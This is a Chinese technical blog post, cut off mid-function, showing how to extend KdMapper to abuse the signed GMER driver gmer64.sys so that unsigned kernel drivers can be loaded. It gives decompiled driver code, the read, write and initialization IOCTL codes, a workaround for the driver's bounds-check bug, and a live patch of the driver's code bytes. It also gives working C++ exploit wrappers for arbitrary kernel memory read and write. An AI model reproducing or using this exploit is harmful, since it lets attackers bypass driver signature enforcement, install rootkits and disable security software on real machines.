KdMapper扩展实现之GMER(gmer64.sys)

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

2.驱动信息

驱动名称gmer64.sys 
时间戳56DFD0B9
MD5A822B9E6EEDF69211013E192967BF523
文件版本2.0.6983.0
设备名称和驱动名称同名
初始化设备0x9876C004
读取内存0x7201C028
写入内存0x7201C034
Windows 7支持
Windows 1022H2(不包含)以下
Windows 1122000(包含)及以下

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        unsigned __int64 v2; // rax

        v2 = BugCheckParameter2;
        if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64)
        {
                v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
                if (!v2)
                        v2 = 0x2B992DDFA232i64;
                BugCheckParameter2 = v2;
        }
        BugCheckParameter3 = ~v2;
        return CreateDevice(DriverObject);
}

3.2 创建设备和符号链接

NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{
        NTSTATUS result; // eax
        PWSTR v3; // rdx
        wchar_t* v4; // rax
        wchar_t* v5; // rax
        __int64 v6; // rcx
        __int16 v7; // ax
        __int64 v8; // rcx
        __int16 v9; // ax
        __int64 v10; // rcx
        __int16 v11; // ax
        __int64 v12; // rcx
        char v13; // al
        __int64 v14; // rcx
        ULONG MajorVersion; // [rsp+40h] [rbp-B8h] BYREF
        ULONG MinorVersion; // [rsp+44h] [rbp-B4h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+48h] [rbp-B0h] BYREF
        struct _UNICODE_STRING SymbolicLinkName; // [rsp+58h] [rbp-A0h] BYREF
        char v19[16]; // [rsp+68h] [rbp-90h] BYREF
        __int16 v20[16]; // [rsp+78h] [rbp-80h]
        __int16 v21[20]; // [rsp+98h] [rbp-60h]
        __int16 v22[20]; // [rsp+C0h] [rbp-38h]

        PsGetVersion(&MajorVersion, &MinorVersion, &BuildNumber, 0i64);
        dword_1CE40 = MinorVersion | (MajorVersion << 8);
        if ((MinorVersion | (MajorVersion << 8)) < 0x500)
                return 0xC0000001;
        DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_12534;
        RtlInitUnicodeString(&DestinationString, &Dest);
        RtlInitUnicodeString(&SymbolicLinkName, SourceString);
        v3 = DriverObject->DriverName.Buffer;
        if (v3)
        {
                if (DriverObject->DriverName.Length < 0x3Cu)
                        memmove(&Dst, v3, DriverObject->DriverName.Length);
                v4 = wcsrchr(&Dst, 0x5Cu);
                if (v4)
                        v5 = v4 + 1;
                else
                        v5 = &Dst;
                qword_1CDF0 = (__int64)v5;
        }
        else
        {
                v5 = (wchar_t*)qword_1CDF0;
        }
        snwprintf(&Dest, 0x1Eui64, L"\\Device\\%s", v5);
        snwprintf(SourceString, 0x1Eui64, L"\\DosDevices\\%s", qword_1CDF0);
        RtlInitUnicodeString(&DestinationString, &Dest);
        RtlInitUnicodeString(&SymbolicLinkName, SourceString);
        result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x9876u, 0, 1u, &DeviceObject);
        dword_1CE3C = result;
        if (result >= 0)
        {
                dword_1CE3C = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
                if (dword_1CE3C >= 0)
                {
                        v21[16] = 0;
                        v20[12] = 0;
                        v22[18] = 0;
                        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)MainDispatch;
                        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)MainDispatch;
                        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)MainDispatch;
                        DriverObject->MajorFunction[16] = (PDRIVER_DISPATCH)MainDispatch;
                        ......
                }
        }
        return result;
}

   创建设备名称是通过驱动本身的名称来确定的,其中 48 行和 49行为格式化设备名称和设备链接名称,可以看到字符串总限制大小为0x1E,即30个字符,所以在KdMapper中相关逻辑要作相应修改,参见《4.1 设备名称相关》。

3.3 MainDispatch

__int64 __fastcall MainDispatch(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
        unsigned int ntStatus; // edi
        IO_STATUS_BLOCK* pIosb; // r11
        _IO_STACK_LOCATION* pIosp; // rcx
        int nIoControlCode; // er10
        PVOID pSystemBuffer; // rdx
        PVOID pUserBuffer; // r9

        ntStatus = 0;
        pIosb = &pIrp->IoStatus;
        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        pIrp->IoStatus.Information = 0i64;
        pIrp->IoStatus.Status = 0;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        pSystemBuffer = pIrp->AssociatedIrp.SystemBuffer;
        pUserBuffer = pSystemBuffer;
        if (pIosp->MajorFunction == 2)
        {
                sub_124E4(pIosp, pSystemBuffer, pDeviceObject, pSystemBuffer);
        }
        else if (pIosp->MajorFunction == 14)
        {
                if ((nIoControlCode & 3) == 3)
                        pUserBuffer = pIrp->UserBuffer;
                ntStatus = DeviceIoControl(
                        pIosp->FileObject,
                        pSystemBuffer,
                        pIosp->Parameters.DeviceIoControl.InputBufferLength,
                        pUserBuffer,
                        pIosp->Parameters.DeviceIoControl.OutputBufferLength,
                        nIoControlCode,
                        pIosb,
                        pDeviceObject);
        }
        IofCompleteRequest(pIrp, 0);
        return ntStatus;
}

3.4 DeviceIoControl

__int64 __fastcall DeviceIoControl(PFILE_OBJECT pFileObject, PVOID pSystemBuffer, unsigned int nInputBufferLength, PVOID pUserBuffer, unsigned int nOutputBufferLength, int nControlCode, IO_STATUS_BLOCK* pIosb, PDEVICE_OBJECT pDeviceObject)
{
        unsigned int v11; // er15
        int bInitialized; // eax
        __int64 result; // rax
        ......

        if (nControlCode == 0x9876C004)
        {
                bInitialized = g_Initialized;
                if (!g_Initialized)
                        bInitialized = 1;
                g_Initialized = bInitialized;
        }
        else
        {
                bInitialized = g_Initialized;
        }
        if (!bInitialized)
        {
                pIosb->Status = 0xC000000D;
                pIosb->Information = 0i64;
                return 0xC000000Di64;
        }
        switch (nControlCode)
        {
                case 0x9876C004:
                ......
        }
        if (nControlCode != 0x9876C0A4)
        {
                if (nControlCode == 0x9876C0A0)
                {
                        ......
                }
                if (nControlCode == 0x9876C010)
                        KeBugCheck(0xE2u);
                v36 = pIosb;
                v53 = DeviceIoControlEx(
                        pFileObject,
                        (GMER64_READ_WRITE_MEMORY_INFO*)pSystemBuffer,
                        nInputBufferLength,
                        pUserBuffer,
                        nOutputBufferLength,
                        nControlCode,
                        pIosb);
                pIosb->Status = v53;
                if (v53 == 0xC0000010)
                        pIosb->Status = sub_18D5C(
                                pFileObject,
                                pSystemBuffer,
                                nInputBufferLength,
                                pUserBuffer,
                                nOutputBufferLength,
                                nControlCode,
                                pIosb,
                                pDeviceObject);
                return (unsigned int)v36->Status;
        }
        ......
        if (v50)
                ExFreePoolWithTag(v50, 0);
        return (unsigned int)pIosb->Status;
}

  初始化设备控制码 0x9876C004, 其中第8到第24行是一个初始化判断的逻辑,需要处理这个逻辑后才能正常的处理其它的IO请求。见《4.2 设备初始化相关》

  在正常的DeviceIoControl中没有读写内存的实现,其实现在 DeviceIoControlEx中。

3.5 DeviceIoControlEx


__int64 __fastcall DeviceIoControlEx(PFILE_OBJECT pFileObject, GMER64_READ_WRITE_MEMORY_INFO* pSystemBuffer, unsigned int nInputBufferLength, PVOID pUserBuffer, unsigned int nOutputBufferLength, int nControlCode, _IO_STATUS_BLOCK* pIosb)
{
        size_t v8; // rbx
        __int64 result; // rax
        ......

        v8 = nInputBufferLength;
        P[1] = pIosb;
        LODWORD(P[0]) = 0;
        switch (nControlCode)
        {
                case 0x7201C004:
                ......
            
                case 0x7201C028:
                        if (nInputBufferLength < 8 || !pSystemBuffer)
                        {
                                result = 0xC0000206i64;
                                pIosb->Status = 0xC0000206;
                                return result;
                        }
                        if (nOutputBufferLength < 4 || !pUserBuffer)
                        {
                                result = 0xC0000206i64;
                                pIosb->Status = 0xC0000206;
                                return result;
                        }
                        pSystemBufferV24 = pSystemBuffer->ReadMemorySourceAddress;
                        if (MmIsAddressValid(pSystemBuffer->ReadMemorySourceAddress)
                                && MmIsAddressValid((char*)pSystemBufferV24 + nOutputBufferLength))
                        {
                                ReadMemory(pUserBuffer, pSystemBufferV24, nOutputBufferLength);
                                pIosb->Information = nOutputBufferLength;
                                pIosb->Status = 0;
                                return 0i64;
                        }
                        pIosb->Status = 0xC000000D;
                        break;
                case 0x7201C034:
                        if (nInputBufferLength >= 0x18 && pSystemBuffer)
                        {
                                if (MmIsAddressValid(pSystemBuffer->WriteMemoryDestinationAddress)
                                        && MmIsAddressValid((char*)pSystemBuffer->WriteMemoryDestinationAddress + pSystemBuffer->Length))
                                {
                                        WriteReadOnlyMemory(pSystemBuffer->WriteMemoryDestinationAddress, &pSystemBuffer[1], pSystemBuffer->Length);
                                        pIosb->Status = 0;
                                        pIosb->Information = 0i64;
                                        result = 0i64;
                                }
                                else
                                {
                                        pIosb->Status = 0xC000000D;
                                        pIosb->Information = 0i64;
                                        result = 0xC000000Di64;
                                }
                        }
                        else
                        {
                                result = 0xC0000206i64;
                                pIosb->Status = 0xC0000206;
                        }
                        return result;
        
                default:
                        return 0xC0000010i64;
        }
        return result;
}

  其中 0x7201C028 是读取内存,实现函数为 ReadMemory, 0x7201C034 为写入内存,实现函数为 WriteReadOnlyMemory。

  第43到第44行为校验写入内存地址的有效性,但此校验逻辑有问题,故我们的实现代码要做相应的修改,参见《4.3 写入地址校验相关》

3.6 读取内存

__int64 __fastcall ReadMemory(void* Dst, PVOID VirtualAddress, size_t MaxCount)
{
        size_t nLengthCopy; // r13
        char bLocked; // si
        PMDL pMdl; // rax
        _MDL* pMdlMapped; // rdi
        PVOID pMappedAddress; // r12
        unsigned int ntStatus; // ebx
        KIRQL irql; // bl
        KSPIN_LOCK SpinLock; // [rsp+78h] [rbp+20h] BYREF

        nLengthCopy = (unsigned int)MaxCount;
        bLocked = 0;
        pMdl = IoAllocateMdl(VirtualAddress, MaxCount, 0, 0, 0i64);
        pMdlMapped = pMdl;
        if (!pMdl)
                return 0xC000009Ai64;
        if ((pMdl->MdlFlags & 7) == 0)              // MDL_MAPPED_TO_SYSTEM_VA|MDL_PAGES_LOCKED|MDL_SOURCE_IS_NONPAGED_POOL
        {
                MmProbeAndLockPages(pMdl, 0, IoReadAccess);
                bLocked = 1;
        }
        pMappedAddress = MmMapLockedPagesSpecifyCache(pMdlMapped, 0, MmCached, 0i64, 0, 0x10u);
        if (pMappedAddress)
        {
                SpinLock = 0i64;
                irql = KeAcquireSpinLockRaiseToDpc(&SpinLock);
                memmove(Dst, pMappedAddress, nLengthCopy);
                KeReleaseSpinLock(&SpinLock, irql);
                ntStatus = 0;
                MmUnmapLockedPages(pMappedAddress, pMdlMapped);
        }
        else
        {
                ntStatus = 0xC000009A;
        }
        if (bLocked)
                MmUnlockPages(pMdlMapped);
        IoFreeMdl(pMdlMapped);
        return ntStatus;
}

3.7 写入内存 

__int64 __fastcall WriteReadOnlyMemory(void* Dest, const void* Source, ULONG nLength)
{
        size_t nLengthCopy; // r13
        char bLocked; // si
        PMDL pMdl; // rax
        _MDL* pMdlMapped; // rdi
        PVOID pMappedAddress; // r12
        unsigned int ntStatus; // ebx
        KIRQL kOldIRQL; // bl
        KSPIN_LOCK SpinLock; // [rsp+78h] [rbp+20h] BYREF

        nLengthCopy = nLength;
        bLocked = 0;
        pMdl = IoAllocateMdl(Dest, nLength, 0, 0, 0i64);
        pMdlMapped = pMdl;
        if (!pMdl)
                return 0xC000009Ai64;
        if ((pMdl->MdlFlags & 7) == 0)              // MDL_MAPPED_TO_SYSTEM_VA|MDL_PAGES_LOCKED|MDL_SOURCE_IS_NONPAGED_POOL
        {
                MmProbeAndLockPages(pMdl, 0, IoModifyAccess);
                bLocked = 1;
        }
        pMappedAddress = MmMapLockedPagesSpecifyCache(pMdlMapped, 0, MmCached, 0i64, 0, 0x10u);
        if (pMappedAddress)
        {
                SpinLock = 0i64;
                kOldIRQL = KeAcquireSpinLockRaiseToDpc(&SpinLock);
                memmove(pMappedAddress, Source, nLengthCopy);
                KeReleaseSpinLock(&SpinLock, kOldIRQL);
                ntStatus = 0;
                MmUnmapLockedPages(pMappedAddress, pMdlMapped);
        }
        else
        {
                ntStatus = 0xC000009A;
        }
        if (bLocked)
                MmUnlockPages(pMdlMapped);
        IoFreeMdl(pMdlMapped);
        return ntStatus;
}

  写入内存第20行MmProbeAndLockPages的参数不应该是IoModifyAccess,用IoModifyAccess在Win10以上系统导导致整个写内存失败,要用一定方法来修改这段代码逻辑,见《4.4 写入内存相关》

3.8 GMER64_READ_WRITE_MEMORY_INFO结构体

00000000 GMER64_READ_WRITE_MEMORY_INFO struc ; (sizeof=0x14, mappedto_391)
00000000 ReadMemorySourceAddress dq ?            ; offset
00000008 WriteMemoryDestinationAddress dq ?      ; offset
00000010 Length          dd ?
00000014 GMER64_READ_WRITE_MEMORY_INFO ends

4.相关修改逻辑

4.1 设备名称相关

4.1.1 逻辑分析

  创建设备名称关键逻辑《3.2 创建设备和符号链接》中第48、49行,如下:

snwprintf(&Dest, 0x1Eui64, L"\\Device\\%s", v5);
snwprintf(SourceString, 0x1Eui64, L"\\DosDevices\\%s", qword_1CDF0);

  可以看到格式化字符串大小为 0x1E ,即30个字符,减去格式化字符串的字符 L"\\DosDevices\\"的12个字符,设备名称大小应为18个字符以下,太长了会导致截断,从而实际创建的设备名称和设置的名称不一样导致后继逻辑失败。

  而设备名称是根据驱动的名称来,见《3.2 创建设备和符号链接》中32至47行:

v3 = DriverObject->DriverName.Buffer;
if (v3)
{
    if (DriverObject->DriverName.Length < 0x3Cu)
        memmove(&Dst, v3, DriverObject->DriverName.Length);
    v4 = wcsrchr(&Dst, 0x5Cu);
    if (v4)
        v5 = v4 + 1;
    else
        v5 = &Dst;
    qword_1CDF0 = (__int64)v5;
}
else
{
    v5 = (wchar_t*)qword_1CDF0;
}

4.1.2 原逻辑代码

HANDLE gmer_driver::Load() 
{
    ......
    memset(gmer_driver::driver_name, 0, sizeof(gmer_driver::driver_name));
    static const char alphanum[] =
        "abcdefghijklmnopqrstuvwxyz"
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    int len = rand() % 20 + 10;
    for (int i = 0; i < len; ++i)
        gmer_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
    ......
    HANDLE result = CreateFileW(L"\\\\.\\GMER64", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (!result || result == INVALID_HANDLE_VALUE)
    {
        gmer_driver::Unload(result);
        return INVALID_HANDLE_VALUE;
    }
    ......
}

4.1.3 修改后代码

HANDLE gmer_driver::Load()
{
    ......   
    memset(gmer_driver::driver_name, 0, sizeof(gmer_driver::driver_name));
    static const char alphanum[] =
        "abcdefghijklmnopqrstuvwxyz"
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    //由于漏洞驱动内创建设备名称有字符串限制,所以只能创建17个字符以下
    //int len = rand() % 20 + 10;
    int len = rand() % 7 + 10;
    for (int i = 0; i < len; ++i)
        gmer_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
    
    ......
        
    std::wstringstream device_name;
    device_name << L"\\\\.\\";
    device_name << GetDriverNameW();
    Log(L"[+] Open Device " << device_name.str().c_str() << std::endl);
    Sleep(300);
    HANDLE result = CreateFileW(device_name.str().c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    //HANDLE result = CreateFileW(L"\\\\.\\GMER64", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (!result || result == INVALID_HANDLE_VALUE)
    {
        Log(L"[-] Failed to load driver " << GetDriverNameW() << L".sys" << std::endl);
        gmer_driver::Unload(result);
        return INVALID_HANDLE_VALUE;
    }
    ......
}

4.2 设备初始化相关

  设备初始化控制码为 0x9876C004,不需要传递参数,发送该控制码后 g_Initialized被置 1。

  实现代码如下:

#define GMER64_DEVICE_INITIALIZE_TYPE          (DWORD)0x9876
#define GMER64_DEVICE_INITIALIZE_FUNCID          (DWORD)0x3001
#define IOCTL_GMER64_DEVICE_INITIALIZE	\
        CTL_CODE(GMER64_DEVICE_INITIALIZE_TYPE, GMER64_DEVICE_INITIALIZE_FUNCID , METHOD_BUFFERED, FILE_ANY_ACCESS)//0x9876C004


bool gmer_driver::InitializeDevice(HANDLE device_handle)
{
        bool bOK = false;
        DWORD bytes_returned = 0;
        bOK = DeviceIoControl(device_handle, IOCTL_GMER64_DEVICE_INITIALIZE, &bytes_returned, sizeof(bytes_returned), &bytes_returned, sizeof(bytes_returned), &bytes_returned, nullptr);
        if (!bOK)
        {
                Log(L"[-] InitializeDevice DeviceIoControl failed" << std::endl);
        }
        return bOK;
}

HANDLE gmer_driver::Load() 
{
        ......
        HANDLE result = CreateFileW(device_name.str().c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (!result || result == INVALID_HANDLE_VALUE)
        {
                Log(L"[-] Failed to load driver " << GetDriverNameW() << L".sys" << std::endl);
                gmer_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }

        if (!gmer_driver::InitializeDevice(result)) {
                Log(L"[-] Failed to Initialize Device" << std::endl);
                gmer_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }
        ......
}

4.3 写入地址校验相关

  写入地址代码见《3.5 DeviceIoControlEx》 43、44行,如下:

if (MmIsAddressValid(pSystemBuffer->WriteMemoryDestinationAddress)&& 
    MmIsAddressValid((char*)pSystemBuffer->WriteMemoryDestinationAddress + pSystemBuffer->Length))
{
        ......       
}

  代码中为  + pSystemBuffer->Length,这个逻辑是错误的,实际中判断地址会超出指定的范围。如果修改可以为 +(pSystemBuffer->Length-1)。如在完整代码中为:

uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, bool mdlMode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode)
{
        ......
        if (mdlMode) {
                kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size, &mdlptr);
        }
        else {
                kernel_image_base = gmer_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size);
        }
        ......
        uint64_t realBase = kernel_image_base;
        ......
        if (!gmer_driver::WriteMemory(iqvw64e_device_handle, realBase, (PVOID)((uintptr_t)local_image_base + (destroyHeader ? TotalVirtualHeaderSize : 0)), image_size)) {
            Log(L"[-] Failed to write local image to remote image" << std::endl);
            kernel_image_base = realBase;
            break;
        }
        ......
}

    

  加载的驱动先 AllocatePool分配指定大小,然后再 WriteMemory 写入。在校验代码中 (char*)pSystemBuffer->WriteMemoryDestinationAddress + pSystemBuffer->Length 刚好为分配的内存尾部之后,从而导致校验失败。

  实际可行的修改方案为先分配比原始大小大一些的内存,然后写入时再写入原始大小。

  修改代码如下:

uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, bool mdlMode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode) 
{
        ......
        uint64_t kernel_image_base = 0;
        uint64_t mdlptr = 0;
        //校验写入地址时代码如下
        //      if (MmIsAddressValid(pSystemBuffer->WriteMemoryDestinationAddress)&&
        //      MmIsAddressValid((char*)pSystemBuffer->WriteMemoryDestinationAddress + pSystemBuffer->Length))
        //这个地址检验有问题,会超出指定的大小,在超出大小时比如分配指定大小的内存后,会导致验证失败,从而写入内存出错。
        // 故将分配时的大小扩大,写入数据时再用较小的原始大小,这里可以加一个Page,也可以直接+1
        ......
        if (mdlMode) {
                //kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size, &mdlptr);
                kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size + 0x1000, &mdlptr);
        }
        else {
                //kernel_image_base = gmer_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size);
                kernel_image_base = gmer_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size + 0x1000);
        }
        ......
}

  经过验证该方法是可行的。

4.4 写入内存相关

4.4.1 逻辑分析

  写入内存时先调用 MmProbeAndLockPages(pMdl, 0, IoModifyAccess) 然后再 MmMapLockedPagesSpecifyCache(pMdlMapped, 0, MmCached, 0i64, 0, 0x10u),在这种情况下如果分配的MDL对应的内存地址是只读的就会导致MmProbeAndLockPages失败,从而整个 WriteReadOnlyMemory失败。

  如果要修改的话就可以改为 MmProbeAndLockPages(pMdl, 0, IoReadAccess) ,但这样需要修改驱动代码段的内容,可以使用稍后实现的WriteToReadOnlyMemory写驱动代码的WriteToReadOnlyMemory中对应的MmProbeAndLockPages地址处的参数。

4.4.2 IDA分析修改代码内存

  先IDA打开 gmer64.sys,定位到 WriteToReadOnlyMemory 中的 MmProbeAndLockPages位,如下:

  

  可以看到设置 MmProbeAndLockPages的第三个参数在 0x169B9,汇编为 lea r8d,[rdx+2],其字节码为 44 8D 42 02 ,需要改为设置 r8d 为0。

  可以参考地址 0x1698E的汇编代码:

  

  汇编代码 xor r8d, r8d, 字节码为 45 33 C0, 而 MmProbeAndLockPages设置第三个参数的字节码为4个字节,故可以设置0x169B9位置的汇编码为:

xor r8d,r8d
nop

  对应的字节码就是 45 33 C0 90, 即修改 0x16B9 地址为值 0x90C03345。

4.4.3 定位MmProbeAndLockPages第三个参数偏移

  用 StudyPe64 打开 gmer64.sys,并打开 RVA-FOA计算噐。

  VA输入 169B9,然后转换,得到RVA为 69B9。

        

  则通过加载的驱动模块基址加上0x69B9后即为设置MmProbeAndLockPages的第三个参数代码的地址,改值为0x90C03345即可。

4.4.4 代码实现

#define MmProbeAndLockPagesParamterOffset (0x69B9)
#define MmProbeAndLockPagesParamterValue (0x90C03345)

bool gmer_driver::ModifyMmProbeAndLockPagesParamter(HANDLE device_handle)
{
        uint64_t driverBaseAddress = utils::GetKernelModuleAddress(gmer_driver::driver_name);
        if (!driverBaseAddress) {
                Log(L"[-] Failed to get " << gmer_driver::GetDriverNameW() << std::endl);
                return false;
        }
        /* uint64_t driverBaseAddress = utils::GetKernelModuleAddress("gmer64.sys");
         if (!driverBaseAddress) {
                 Log(L"[-] Failed to get gmer64.sys" << std::endl);
                 return false;
         }*/
        Log(L"[+] DriverBaseAddress Address 0x" << std::setbase(16) << std::setfill(L'0') << driverBaseAddress << std::endl);
        //.text:00000000000169B7 33 D2                                          xor edx, edx; AccessMode
        //.text:00000000000169B9 44 8D 42 02                                   lea     r8d, [rdx + 2]; Operation
        //.text:00000000000169BD 48 8B C8                                      mov     rcx, rax; MemoryDescriptorList
        //.text:00000000000169C0 FF 15 2A 48 00 00                             call    cs : MmProbeAndLockPages
        uint64_t pMmProbeAndLockPagesParamter = driverBaseAddress + MmProbeAndLockPagesParamterOffset;
        Log(L"[+] MmProbeAndLockPagesParamter Address 0x" << std::setbase(16) << std::setfill(L'0') << pMmProbeAndLockPagesParamter << std::endl);
        //参考.text:000000000001698E 45 33 C0  xor     r8d, r8d
        DWORD dwData = MmProbeAndLockPagesParamterValue; // 45 33 C0 90
        WriteMemory(device_handle, pMmProbeAndLockPagesParamter, &dwData, sizeof(DWORD));
        return true;
}

HANDLE gmer_driver::Load() {
        srand((unsigned)time(NULL) * GetCurrentThreadId());
        
        ......
            
         if (!gmer_driver::InitializeDevice(result)) {
                Log(L"[-] Failed to Initialize Device" << std::endl);
                gmer_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }

        if (!gmer_driver::ModifyMmProbeAndLockPagesParamter(result))
        {
                Log(L"[-] Failed to ModifyMmProbeAndLockPagesParamter" << std::endl);
                gmer_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }
        
        ......
    
}

5.完整关键代码

#define GMER64_DEVICE_TYPE          (DWORD)0x7201
#define GMER64_DEVICE_INITIALIZE_TYPE          (DWORD)0x9876
#define GMER64_READ_MEMORY_FUNCID   (DWORD)0x300A
#define GMER64_WRITE_MEMORY_FUNCID  (DWORD)0x300D
#define GMER64_DEVICE_INITIALIZE_FUNCID          (DWORD)0x3001

#define IOCTL_GMER64_DEVICE_INITIALIZE	\
        CTL_CODE(GMER64_DEVICE_INITIALIZE_TYPE, GMER64_DEVICE_INITIALIZE_FUNCID , METHOD_BUFFERED, FILE_ANY_ACCESS)//0x9876C004
#define IOCTL_GMER64_READ_MEMORY    \
    CTL_CODE(GMER64_DEVICE_TYPE, GMER64_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x7201C028
#define IOCTL_GMER64_WRITE_MEMORY    \
    CTL_CODE(GMER64_DEVICE_TYPE, GMER64_WRITE_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x7201C034

#define MmProbeAndLockPagesParamterOffset (0x69B9)
#define MmProbeAndLockPagesParamterValue (0x90C03345)


#pragma pack(push)
#pragma pack(1)
        typedef struct _GMER64_READ_WIRTE_MEMORY_INFO
        {
                PVOID ReadMemorySourceAddress;
                PVOID WriteMemoryDestinationAddress;
                DWORD Length;
        }GMER64_READ_WIRTE_MEMORY_INFO, * PGMER64_READ_WIRTE_MEMORY_INFO;
#pragma pack(pop)

bool gmer_driver::InitializeDevice(HANDLE device_handle)
{
        bool bOK = false;
        DWORD bytes_returned = 0;
        bOK = DeviceIoControl(device_handle, IOCTL_GMER64_DEVICE_INITIALIZE, &bytes_returned, sizeof(bytes_returned), &bytes_returned, sizeof(bytes_returned), &bytes_returned, nullptr);
        if (!bOK)
        {
                Log(L"[-] InitializeDevice DeviceIoControl failed" << std::endl);
        }
        return bOK;
}

bool gmer_driver::ModifyMmProbeAndLockPagesParamter(HANDLE device_handle)
{
        uint64_t driverBaseAddress = utils::GetKernelModuleAddress(gmer_driver::driver_name);
        if (!driverBaseAddress) {
                Log(L"[-] Failed to get " << gmer_driver::GetDriverNameW() << std::endl);
                return false;
        }
        /* uint64_t driverBaseAddress = utils::GetKernelModuleAddress("gmer64.sys");
         if (!driverBaseAddress) {
                 Log(L"[-] Failed to get gmer64.sys" << std::endl);
                 return false;
         }*/
        Log(L"[+] DriverBaseAddress Address 0x" << std::setbase(16) << std::setfill(L'0') << driverBaseAddress << std::endl);
        //.text:00000000000169B7 33 D2                                          xor edx, edx; AccessMode
        //.text:00000000000169B9 44 8D 42 02                                   lea     r8d, [rdx + 2]; Operation
        //.text:00000000000169BD 48 8B C8                                      mov     rcx, rax; MemoryDescriptorList
        //.text:00000000000169C0 FF 15 2A 48 00 00                             call    cs : MmProbeAndLockPages
        uint64_t pMmProbeAndLockPagesParamter = driverBaseAddress + MmProbeAndLockPagesParamterOffset;
        Log(L"[+] MmProbeAndLockPagesParamter Address 0x" << std::setbase(16) << std::setfill(L'0') << pMmProbeAndLockPagesParamter << std::endl);
        //参考.text:000000000001698E 45 33 C0  xor     r8d, r8d
        DWORD dwData = MmProbeAndLockPagesParamterValue; // 45 33 C0 90
        WriteMemory(device_handle, pMmProbeAndLockPagesParamter, &dwData, sizeof(DWORD));
        return true;
}

bool gmer_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size)
{
        if (!address || !buffer || !size)
        {
                Log(L"[!] ReadMemory Invalidate Parameters" << std::endl);
                return false;
        }
        bool bOK = false;
        CHAR cBuffer[4] = { 0 };
        GMER64_READ_WIRTE_MEMORY_INFO info = { 0 };
        info.ReadMemorySourceAddress = (PVOID)address;
        info.Length = (DWORD)size;
        if (size < 4)
        {
                info.Length = 4;
        }

        DWORD bytes_returned = 0;
        if (size < 4)
        {
                bOK = DeviceIoControl(device_handle, IOCTL_GMER64_READ_MEMORY, &info, sizeof(info), &cBuffer, 4, &bytes_returned, nullptr);
                if (bOK)
                {
                        RtlCopyMemory(buffer, &cBuffer, size);
                }
        }
        else
        {
                bOK = DeviceIoControl(device_handle, IOCTL_GMER64_READ_MEMORY, &info, sizeof(info), buffer, (DWORD)size, &bytes_returned, nullptr);
        }
        if (!bOK)
        {
                Log(L"[!] ReadMemory DeviceIoControl failed" << std::endl);
        }
        return bOK;
}

bool gmer_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size)
{
        bool bOK = false;
        if (!address || !buffer || !size)
        {
                Log(L"[!] WriteMemory Invalidate Parameters" << std::endl);
                return false;
        }
        DWORD dwBufferLength = (DWORD)(sizeof(GMER64_READ_WIRTE_MEMORY_INFO) + size);
        PVOID pBuffer = (PVOID)malloc(dwBufferLength);
        if (!pBuffer)
        {
                Log(L"[!] WriteMemory malloc failed" << std::endl);
                return false;
        }
        GMER64_READ_WIRTE_MEMORY_INFO info = { 0 };
        info.WriteMemoryDestinationAddress = (PVOID)address;
        info.Length = (DWORD)size;

        RtlCopyMemory((PUCHAR)pBuffer, &info, sizeof(GMER64_READ_WIRTE_MEMORY_INFO));
        RtlCopyMemory((PUCHAR)pBuffer + sizeof(GMER64_READ_WIRTE_MEMORY_INFO), buffer, size);

        DWORD bytes_returned = 0;
        bOK = DeviceIoControl(device_handle, IOCTL_GMER64_WRITE_MEMORY, pBuffer, dwBufferLength, buffer, (DWORD)size, &bytes_returned, nullptr);
        if (!bOK)
        {
